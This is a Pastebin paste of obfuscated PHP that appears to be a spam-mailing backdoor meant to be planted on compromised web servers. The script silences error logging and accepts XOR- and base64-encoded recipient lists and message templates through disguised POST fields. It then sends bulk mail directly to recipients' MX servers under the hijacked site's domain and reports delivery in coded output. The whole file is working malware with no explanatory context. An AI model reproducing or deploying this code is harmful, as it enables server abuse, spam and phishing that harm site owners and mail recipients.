Guest User

Untitled

a guest
Nov 6th, 2014
230
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $i96="QU~T<`_YM82iAN>/v#s\"'q@tZFjJX6a\tcI)yS^boD.\$du|3\rWw=rC!;[4*P5LVkB?%19m:p7 -zK,gOl{Efx]0R}&h+\n\\(enGH";
  3.  
  4. @error_reporting(NULL);
  5. @ini_set("error_log",NULL);
  6. @ini_set("log_errors",0);
  7.  
  8. $gqoki97 = array(
  9. "dataTo" => "",
  10. "fromLogin" => "",
  11. "fromName" => "",
  12. "subjTempl" => "",
  13. "bodyTempl" => "",
  14. "hostFrom" => "",
  15. "initnbsock" => FALSE,
  16. "initsock" => FALSE,
  17. "initmail" => FALSE,
  18. );
  19.  
  20. if (FALSE == zzqaa65($i96, $gqoki97)) {
  21. echo PHP_OS."+".md5(0987654321)."+01+[[]]";
  22. exit;
  23. }
  24. $ifzga92 = array();
  25. foreach ($gqoki97["dataTo"] as $rnqcn32) {
  26. $dfphu86 = array(
  27. "nameFirst" => "",
  28. "nameLast" => "",
  29. "emailTo" => "",
  30. "domainTo" => "",
  31. "emailToLong" => "",
  32. "forceFromFlag" => FALSE,
  33. "emailFrom" =>"",
  34. "emailFromLong" => "",
  35. "subj" => "",
  36. "body" => "",
  37. "headersMain" => "",
  38. "headersFrom" => "",
  39. "headersSock" => "",
  40. "mxHost" => "",
  41. "mxAddr" => null,
  42. "sock" => null,
  43. "stime" => null,
  44. "nbstep" => 0,
  45. "errline" => "",
  46. "done" => FALSE,
  47. "doneWay" => 0,
  48. "failSmtp" => FALSE,
  49. );
  50.  
  51. if (FALSE == vmkpj5($i96, $rnqcn32, $gqoki97, $dfphu86) ) {
  52. echo PHP_OS."+".md5(1111111111)."+02+[[".essss80($i96, $rnqcn32)."]]";
  53. continue;
  54. }
  55. cmgbh86($i96, $gqoki97, $dfphu86);
  56. ffhgy85($i96, $gqoki97, $dfphu86);
  57. $ifzga92[] = $dfphu86;
  58. }
  59.  
  60. ahmux52($i96, $gqoki97, $ifzga92);
  61. djwep57($i96, $gqoki97, $ifzga92);
  62. hnnst3($i96, $gqoki97, $ifzga92);
  63. onngl80($i96, $gqoki97, $ifzga92);
  64.  
  65. function essss80($i96, $iqkju26) {
  66. $htptb46 = "";
  67. for($i = 0; $i < strlen($iqkju26); $i++) $htptb46.= chr(ord($iqkju26[$i]) ^ 2);
  68. return base64_encode($htptb46);
  69. }
  70.  
  71. function onngl80($i96, $gqoki97, $ifzga92) {
  72. if ($gqoki97["initnbsock"] == FALSE && $gqoki97["initsock"] == FALSE && $gqoki97["initmail"] == FALSE) {
  73. echo PHP_OS."+".md5(1111111111)."+03+[[".essss80($i96, "no func exists")."]]";
  74. return;
  75. }
  76. $uodef40 = 0;
  77. for ($i = 0; $i < count($ifzga92); $i++) {
  78. if ($ifzga92[$i]["failSmtp"] == TRUE) {
  79. echo PHP_OS."+".md5(2222222222)."+04+[[".essss80($i96, $ifzga92[$i]["emailTo"]." :: ".$ifzga92[$i]["errline"])."]]";
  80. }
  81.  
  82. if ($ifzga92[$i]["done"] == TRUE) {
  83. $uodef40++;
  84. }
  85. }
  86.  
  87. if ($uodef40 == 0) {
  88. echo PHP_OS."+".md5(0987654321)."+04+[[]]";
  89. } else {
  90. echo "OK+".md5(1234567890)."+".$uodef40."+".count($ifzga92)."";
  91. }
  92. }
  93.  
  94. function djwep57($i96, &$gqoki97, &$ifzga92) {
  95. if (!function_exists("mail")) {
  96. $gqoki97["initmail"] = FALSE;
  97. return;
  98. }
  99. $gqoki97["initmail"] = TRUE;
  100.  
  101. for ($i = 0; $i < count($ifzga92); $i++) {
  102. if ($ifzga92[$i]["done"] == TRUE) continue;
  103. if ($ifzga92[$i]["forceFromFlag"]) {
  104. if (@mail($ifzga92[$i]["emailToLong"], $ifzga92[$i]["subj"], $ifzga92[$i]["body"], $ifzga92[$i]["headersFrom"].$ifzga92[$i]["headersMain"], "-f".$ifzga92[$i]["emailFrom"])) {
  105. $ifzga92[$i]["done"] = TRUE;
  106. $ifzga92[$i]["doneWay"] = 2;
  107. } else {
  108. $ifzga92[$i]["done"] = FALSE;
  109. }
  110. } else {
  111. if (@mail($ifzga92[$i]["emailToLong"], $ifzga92[$i]["subj"], $ifzga92[$i]["body"], $ifzga92[$i]["headersMain"])) {
  112. $ifzga92[$i]["done"] = TRUE;
  113. $ifzga92[$i]["doneWay"] = 2;
  114. } else {
  115. $ifzga92[$i]["done"] = FALSE;
  116. }
  117. }
  118. }
  119. }
  120.  
  121. function qfnta97($i96, $kvdtm8) {
  122. $htptb46 = '';
  123. while($lvekd30 = @fgets($kvdtm8, 4096)) {
  124. $htptb46 .= $lvekd30;
  125. if(substr($lvekd30, 3, 1) == " ") break;
  126.  
  127. }
  128. return $htptb46;
  129. }
  130.  
  131. function hnnst3($i96, &$gqoki97, &$ifzga92) {
  132. if (!function_exists("fsockopen") && !function_exists("pfsockopen") && !function_exists("stream_socket_client")) {
  133. $gqoki97["initsock"] = FALSE;
  134. return;
  135. }
  136. $gqoki97["initsock"] = TRUE;
  137. for( $i = 0; $i < count($ifzga92); $i++) {
  138.  
  139. if ($ifzga92[$i]["done"] == TRUE) {
  140. continue;
  141. }
  142.  
  143. if ($ifzga92[$i]["failSmtp"] == TRUE) {
  144. continue;
  145. }
  146.  
  147. if ($ifzga92[$i]["mxAddr"] == null) {
  148. $ifzga92[$i]["mxAddr"] = gethostbyname($ifzga92[$i]["mxHost"]);
  149. }
  150. $ifzga92[$i]["nbstep"] = 0;
  151. $jgbhv30 = 0;
  152. $shyop36 = "";
  153.  
  154. if (function_exists("fsockopen")) {
  155. $ifzga92[$i]["sock"] = @fsockopen($ifzga92[$i]["mxAddr"], 25, $jgbhv30, $shyop36, 15);
  156.  
  157. } elseif (function_exists("pfsockopen")) {
  158. $ifzga92[$i]["sock"] = @pfsockopen($ifzga92[$i]["mxAddr"], 25, $jgbhv30, $shyop36, 15);
  159. } elseif (function_exists("stream_socket_client")) {
  160. $ifzga92[$i]["sock"] = @stream_socket_client("tcp://".$ifzga92[$i]["mxAddr"].":25", $jgbhv30, $shyop36, 15);
  161. } else {
  162. $ifzga92[$i]["errline"] = "sock connect function";
  163. continue;
  164. }
  165.  
  166. if (!$ifzga92[$i]["sock"]) {
  167. $ifzga92[$i]["errline"] = "sock connect";
  168. continue;
  169. }
  170.  
  171. $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
  172.  
  173. @fputs($ifzga92[$i]["sock"], "EHLO ".$gqoki97["hostFrom"]."");
  174. $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
  175. if (substr($gtnkt68, 0, 3) != 250 ) {
  176. $ifzga92[$i]["nbstep"] = 2;
  177. $ifzga92[$i]["errline"] = "<< ehlo ".trim(preg_replace("//", " ", $gtnkt68));
  178. fclose($ifzga92[$i]["sock"]);
  179. continue;
  180. }
  181.  
  182. @fputs($ifzga92[$i]["sock"], "MAIL FROM:<".$ifzga92[$i]["emailFrom"].">");
  183. $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
  184. if (substr($gtnkt68, 0, 3) != 250 ) {
  185. $ifzga92[$i]["nbstep"] = 3;
  186. $ifzga92[$i]["failSmtp"] = TRUE;
  187. $ifzga92[$i]["errline"] = "<< mail from ".trim(preg_replace("//", " ", $gtnkt68));
  188. fclose($ifzga92[$i]["sock"]);
  189. continue;
  190. }
  191.  
  192. @fputs($ifzga92[$i]["sock"], "RCPT TO:<".$ifzga92[$i]["emailTo"].">");
  193. $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
  194. if (substr($gtnkt68, 0, 3) != 250 && substr($gtnkt68, 0, 3) != 251) {
  195. $ifzga92[$i]["nbstep"] = 4;
  196. $ifzga92[$i]["failSmtp"] = TRUE;
  197. $ifzga92[$i]["errline"] = "<< rcpt to ".trim(preg_replace("//", " ", $gtnkt68));
  198. fclose($ifzga92[$i]["sock"]);
  199. continue;
  200. }
  201.  
  202. @fputs($ifzga92[$i]["sock"], "DATA");
  203. $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
  204. if (substr($gtnkt68, 0, 3) != 354 ) {
  205. $ifzga92[$i]["nbstep"] = 5;
  206. $ifzga92[$i]["failSmtp"] = TRUE;
  207. $ifzga92[$i]["errline"] = "<< data ".trim(preg_replace("//", " ", $gtnkt68));
  208. fclose($ifzga92[$i]["sock"]);
  209. continue;
  210. }
  211.  
  212. @fputs($ifzga92[$i]["sock"], $ifzga92[$i]["headersSock"]."".$ifzga92[$i]["body"].".");
  213. $gtnkt68 = qfnta97($i96, $ifzga92[$i]["sock"]);
  214. if (substr($gtnkt68, 0, 3) != 250 ) {
  215. $ifzga92[$i]["nbstep"] = 6;
  216. $ifzga92[$i]["failSmtp"] = TRUE;
  217. $ifzga92[$i]["errline"] = "<< body ".trim(preg_replace("//", " ", $gtnkt68));
  218. fclose($ifzga92[$i]["sock"]);
  219. continue;
  220. }
  221.  
  222. $ifzga92[$i]["nbstep"] = 6;
  223. $ifzga92[$i]["errline"] = "sock done";
  224. $ifzga92[$i]["done"] = TRUE;
  225. $ifzga92[$i]["doneWay"] = 3;
  226.  
  227. @fputs($ifzga92[$i]["sock"], "QUIT");
  228. @fclose($ifzga92[$i]["sock"]);
  229. }
  230.  
  231. return;
  232. }
  233.  
  234. function zrkge13($i96, $kvdtm8, &$zxmls24, &$dssbi55, $qqmur35) {
  235. $zxmls24[$dssbi55[$kvdtm8]["orig"]]["nbstep"] = $qqmur35;
  236. $zxmls24[$dssbi55[$kvdtm8]["orig"]]["stime"] = time(NULL);
  237. $dssbi55[$kvdtm8]["nbstep"] = $qqmur35;
  238. $dssbi55[$kvdtm8]["stime"] = time(NULL);
  239. }
  240.  
  241. function rcunl33($i96, $kvdtm8, &$zxmls24, &$dssbi55, &$mratg49, $cifip71) {
  242. $zxmls24[$dssbi55[$kvdtm8]["orig"]]["errline"] = trim(preg_replace("//", " ", $cifip71));
  243. $iiptu84 = array_search($kvdtm8, $mratg49);
  244. unset($mratg49[$iiptu84]);
  245. unset($dssbi55[$kvdtm8]);
  246. socket_close($kvdtm8);
  247. }
  248.  
  249. function ahmux52($i96, &$gqoki97, &$ifzga92) {
  250. if (!function_exists("socket_create") || !function_exists("socket_connect") || !function_exists("socket_select") || !function_exists("socket_read") || !function_exists("socket_write")) {
  251. $gqoki97["initnbsock"] = FALSE;
  252. return;
  253. }
  254. $gqoki97["initnbsock"] = TRUE;
  255.  
  256. $kxarg82 = array();
  257.  
  258. $uztoz28 = 35;
  259. $hxegq37 = 25;
  260.  
  261. $iamix90 = array();
  262. $eivub46 = array();
  263.  
  264. for( $i = 0; $i < count($ifzga92); $i++) {
  265. if ($ifzga92["done"] == TRUE) {
  266. continue;
  267. }
  268. if ($ifzga92[$i]["failSmtp"] == TRUE) {
  269. continue;
  270. }
  271.  
  272. $ifzga92[$i]["sock"] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  273. if ($ifzga92[$i]["sock"] == FALSE) {
  274. $ifzga92[$i]["errline"] = "nb create socket";
  275. continue;
  276. }
  277. @socket_set_nonblock($ifzga92[$i]["sock"]);
  278. $ifzga92[$i]["mxAddr"] = gethostbyname($ifzga92[$i]["mxHost"]);
  279. $cfaqq98 = @socket_connect($ifzga92[$i]["sock"], $ifzga92[$i]["mxHost"], 25);
  280. if ($cfaqq98 == FALSE) {
  281. $nkdpv82 = socket_last_error();
  282. if ($nkdpv82 != 10035 && $nkdpv82 != SOCKET_EINPROGRESS && $nkdpv82 != SOCKET_EALREADY) {
  283. $ifzga92[$i]["errline"] = "nb connect socket";
  284. continue;
  285. }
  286. }
  287. $ifzga92[$i]["stime"] = time(NULL);
  288. $iamix90[] = $ifzga92[$i]["sock"];
  289. $kxarg82[$ifzga92[$i]["sock"]] = $ifzga92[$i];
  290. $kxarg82[$ifzga92[$i]["sock"]]["orig"] = $i;
  291. }
  292.  
  293. while (count($iamix90) + count($eivub46) > 0) {
  294. $wwclq72 = $iamix90;
  295. $vvdpk21 = $eivub46;
  296. if (FALSE !== ($jizyj43 = socket_select($vvdpk21, $wwclq72, $sgsgk67 = null, 0))) {
  297. if ($jizyj43 > 0) {
  298. if (count($vvdpk21) > 0) {
  299. foreach ($vvdpk21 as $vxkyu7) {
  300. $gtnkt68 = @socket_read($vxkyu7, 1024);
  301. if ($gtnkt68 == FALSE) {
  302. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "nb sock read");
  303. continue;
  304. }
  305. if ($kxarg82[$vxkyu7]["nbstep"] == 1) {
  306. $cfaqq98 = @socket_write($vxkyu7, "EHLO ".$gqoki97["hostFrom"]."");
  307. if ($cfaqq98 == FALSE) {
  308. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb ehlo");
  309. continue;
  310. }
  311. zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 2);
  312. } elseif ($kxarg82[$vxkyu7]["nbstep"] == 2) {
  313. if (substr($gtnkt68, 0, 3) != 250 ) {
  314. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb ehlo ". $gtnkt68);
  315. continue;
  316. }
  317. $cfaqq98 = @socket_write($vxkyu7, "MAIL FROM:<".$kxarg82[$vxkyu7]["emailFrom"].">");
  318. if ($cfaqq98 == FALSE) {
  319. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb mail from");
  320. continue;
  321. }
  322. zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 3);
  323. } elseif ($kxarg82[$vxkyu7]["nbstep"] == 3) {
  324. if (substr($gtnkt68, 0, 3) != 250 ) {
  325. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
  326. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb mail from ".$gtnkt68);
  327. continue;
  328. }
  329. $cfaqq98 = @socket_write($vxkyu7, "RCPT TO:<".$kxarg82[$vxkyu7]["emailTo"].">");
  330. if ($cfaqq98 == FALSE) {
  331. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb rcpt to");
  332. continue;
  333. }
  334. zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 4);
  335. } elseif ($kxarg82[$vxkyu7]["nbstep"] == 4) {
  336. if (substr($gtnkt68, 0, 3) != 250 && substr($gtnkt68, 0, 3) != 251) {
  337. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
  338. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb rcpt to ".$gtnkt68);
  339. continue;
  340. }
  341. $cfaqq98 = @socket_write($vxkyu7, "DATA");
  342. if ($cfaqq98 == FALSE) {
  343. print $gtnkt68;
  344. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb data");
  345. continue;
  346. }
  347. zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 5);
  348. } elseif ($kxarg82[$vxkyu7]["nbstep"] == 5) {
  349. if (substr($gtnkt68, 0, 3) != 354 ) {
  350. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
  351. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb data ".$gtnkt68);
  352. continue;
  353. }
  354. $cfaqq98 = @socket_write($vxkyu7, $kxarg82[$vxkyu7]["headersSock"]."".$kxarg82[$vxkyu7]["body"].".");
  355. if ($cfaqq98 == FALSE) {
  356. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb body");
  357. continue;
  358. }
  359. zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 6);
  360. } elseif ($kxarg82[$vxkyu7]["nbstep"] == 6) {
  361. if (substr($gtnkt68, 0, 3) != 250 ) {
  362. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = TRUE;
  363. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "<< nb body ".$gtnkt68);
  364. continue;
  365. }
  366.  
  367. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["failSmtp"] = FALSE;
  368. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["done"] = TRUE;
  369. $ifzga92[$kxarg82[$vxkyu7]["orig"]]["doneWay"] = 1;
  370.  
  371. $cfaqq98 = @socket_write($vxkyu7, "QUIT");
  372. if ($cfaqq98 == FALSE) {
  373. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, ">> nb quit");
  374. continue;
  375. }
  376. zrkge13($i96, $vxkyu7, $ifzga92, $kxarg82, 6);
  377. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "nb done");
  378. } else {
  379. rcunl33($i96, $vxkyu7, $ifzga92, $kxarg82, $eivub46, "nb unknown step");
  380. }
  381. }
  382. }
  383.  
  384. if (count($wwclq72) > 0) {
  385. foreach ($wwclq72 as $fzryn2) {
  386. zrkge13($i96, $fzryn2, $ifzga92, $kxarg82, 1);
  387. $eivub46[] = $fzryn2;
  388. $nshwq15 = array_search($fzryn2, $iamix90);
  389. unset($iamix90[$nshwq15]);
  390. }
  391. }
  392. }
  393. } else {
  394. break;
  395. }
  396.  
  397. foreach ($kxarg82 as $knmui74) {
  398. $vbhbi38 = time(NULL);
  399. if ($knmui74["nbstep"] == 0) {
  400. if ($knmui74["stime"] + $uztoz28 < $vbhbi38) {
  401. rcunl33($i96, $knmui74["sock"], $ifzga92, $kxarg82, $iamix90, "nb sock conn timeout ".$knmui74["nbstep"]);
  402. }
  403. } else {
  404. if ($knmui74["stime"] + $hxegq37 < $vbhbi38) {
  405. closeSock($knmui74["sock"], $ifzga92, $kxarg82, $eivub46, "nb sock r/w timeout ".$knmui74["nbstep"]);
  406. }
  407. }
  408. }
  409. }
  410. }
  411.  
  412. function ffhgy85($i96, $gqoki97, &$htptb46) {
  413. $htptb46["headersMain"] = "X-Priority: 3 (Normal)";
  414. $htptb46["headersMain"] .= "MIME-Version: 1.0";
  415. $htptb46["headersMain"] .= "Content-Type: text/html; charset=\"iso-8859-1\"";
  416. $htptb46["headersMain"] .= "Content-Transfer-Encoding: 8bit";
  417. $htptb46["headersFrom"] = "From: ".$htptb46["emailFromLong"]."";
  418. $htptb46["headersFrom"] .= "Reply-To:".$htptb46["emailFromLong"]."";
  419. $htptb46["headersSock"] = "Date: " . @date("D, j M Y G:i:s O")."";
  420. $htptb46["headersSock"] .= $htptb46["headersFrom"];
  421. $htptb46["headersSock"] .= "Message-ID: <".preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time()))."@".$gqoki97["hostFrom"].">";
  422. $htptb46["headersSock"] .= "To: ".$htptb46["emailToLong"]."";
  423. $htptb46["headersSock"] .= "Subject: ".$htptb46["subj"]."";
  424. $htptb46["headersSock"] .= $htptb46["headersMain"];
  425. }
  426.  
  427. function cmgbh86($i96, $gqoki97, &$htptb46) {
  428. $htptb46["subj"] = @str_replace("%R_NAME%", $htptb46["nameFirst"], $gqoki97["subjTempl"]);
  429. $htptb46["subj"] = @str_replace("%R_LNAME%", $htptb46["nameLast"], $htptb46["subj"]);
  430. $htptb46["body"] = @str_replace("%R_NAME%", $htptb46["nameFirst"], $gqoki97["bodyTempl"]);
  431. $htptb46["body"] = @str_replace("%R_LNAME%", $htptb46["nameLast"], $htptb46["body"]);
  432. $htptb46["body"] = @str_replace("%MAIL_EN%", pttna79($i96, $htptb46["emailTo"]), $htptb46["body"]);
  433. }
  434.  
  435. function vmkpj5($i96, $khwtg40, $gqoki97, &$htptb46) {
  436. if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $khwtg40, $nhvry64) ) {
  437. return FALSE;
  438. }
  439. if (!isset($nhvry64) || count($nhvry64) != 5) {
  440. return FALSE;
  441. }
  442. $htptb46["nameFirst"] = @ucfirst(str_replace(";","",$nhvry64[1]));
  443. $htptb46["nameLast"] = @ucfirst(str_replace(";","",$nhvry64[2]));
  444. $htptb46["emailTo"] = str_replace(";","",$nhvry64[3]);
  445. $htptb46["domainTo"] = str_replace(";","",$nhvry64[4]);
  446.  
  447. if (!isset($htptb46["domainTo"]) || $htptb46["domainTo"] == "") {
  448. return FALSE;
  449. }
  450. if (!isset($htptb46["emailTo"]) || $htptb46["emailTo"] == "") {
  451. return FALSE;
  452. }
  453. if (isset($htptb46["nameFirst"]) && $htptb46["nameFirst"] != "") {
  454. $htptb46["emailToLong"] = $htptb46["nameFirst"]." ".$htptb46["nameLast"]." <".$htptb46["emailTo"].">";
  455. } else {
  456. $htptb46["emailToLong"] = $htptb46["emailTo"];
  457. }
  458. if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $gqoki97["hostFrom"]) || @ini_get("safe_mode")) {
  459. $htptb46["forceFromFlag"] = FALSE;
  460. } else {
  461. $htptb46["forceFromFlag"] = TRUE;
  462. }
  463. $htptb46["emailFrom"] = $gqoki97["fromLogin"]."@".$gqoki97["hostFrom"];
  464. if (isset($gqoki97["fromName"]) && $gqoki97["fromName"] != "") {
  465. $htptb46["emailFromLong"] = $gqoki97["fromName"]." <".$htptb46["emailFrom"].">";
  466. } else {
  467. $htptb46["emailFromLong"] = $htptb46["emailFrom"];
  468. }
  469.  
  470. $htptb46["mxHost"] = "127.0.0.1";
  471. if (function_exists("getmxrr")) {
  472. @getmxrr($htptb46["domainTo"], $nihjr88, $wcxms77);
  473. if (count($nihjr88) !== 0) {
  474. $ckkqo93 = array_keys($wcxms77, min($wcxms77));
  475. $htptb46["mxHost"] = $nihjr88[$ckkqo93[0]];
  476. }
  477. }
  478.  
  479. return TRUE;
  480. }
  481.  
  482. function zzqaa65($i96, &$htptb46) {
  483. if (count($_POST) < 2) {
  484. return FALSE;
  485. }
  486. $jzmka38 = false;
  487. $icmlh57 = $aeilq77 = "";
  488. foreach (array_keys($_POST) as $post_key) {
  489. if ($post_key[0] == "l") $icmlh57 = $post_key;
  490. if ($post_key[0] == "d") $aeilq77 = $post_key;
  491. if ($post_key[0] == "e") $sclio51 = true;
  492. }
  493. if ($icmlh57 == "" || $aeilq77 == "") {
  494. return FALSE;
  495. }
  496. $fiqzz24 = mpawp44($i96, $icmlh57, $sclio51);
  497. $oueyo23= mpawp44($i96, $aeilq77, $sclio51);
  498.  
  499. if ($fiqzz24 == FALSE || $oueyo23 == FALSE) {
  500. return FALSE;
  501. }
  502.  
  503. $htptb46["dataTo"] = @preg_split("/#/", $fiqzz24);
  504. $htptb46["fromLogin"] = $htptb46["fromName"] = $htptb46["subjTempl"] = $htptb46["bodyTempl"] = "";
  505.  
  506. if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
  507. $htptb46["fromLogin"] = $nhvry64[1];
  508. }
  509. if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
  510. $htptb46["fromName"] = $nhvry64[1];
  511. }
  512. if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
  513. $htptb46["subjTempl"] = $nhvry64[1];
  514. }
  515. if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism",$oueyo23, $nhvry64) && isset($nhvry64) && count($nhvry64) > 1) {
  516. $htptb46["bodyTempl"] = $nhvry64[1];
  517. }
  518.  
  519. $htptb46["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', @$_SERVER["HTTP_HOST"]);
  520.  
  521. return TRUE;
  522. }
  523.  
  524. function mpawp44($i96, $ytckf69, $jzmka38) {
  525. if (!isset($ytckf69) || $ytckf69 == "") return FALSE;
  526. $rfoai48 = @$_POST[$ytckf69];
  527. if ($jzmka38) {
  528. $tvvwg40 = base64_decode($rfoai48);
  529. $rfoai48 = '';
  530. for($i = 0; $i < strlen($tvvwg40); $i++) $rfoai48.= chr(ord($tvvwg40[$i]) ^ 2);
  531. }
  532. return urldecode(stripslashes($rfoai48));
  533. }
  534.  
  535. function pttna79($i96, $vpydp72) {
  536. $udkrl46 = "";
  537. for($i = 0; $i < strlen($vpydp72); $i++) $udkrl46.= chr(ord($vpydp72[$i]) ^ 2);
  538. return base64_encode($udkrl46);
  539. }
  540.  
  541. ?>
RAW Paste Data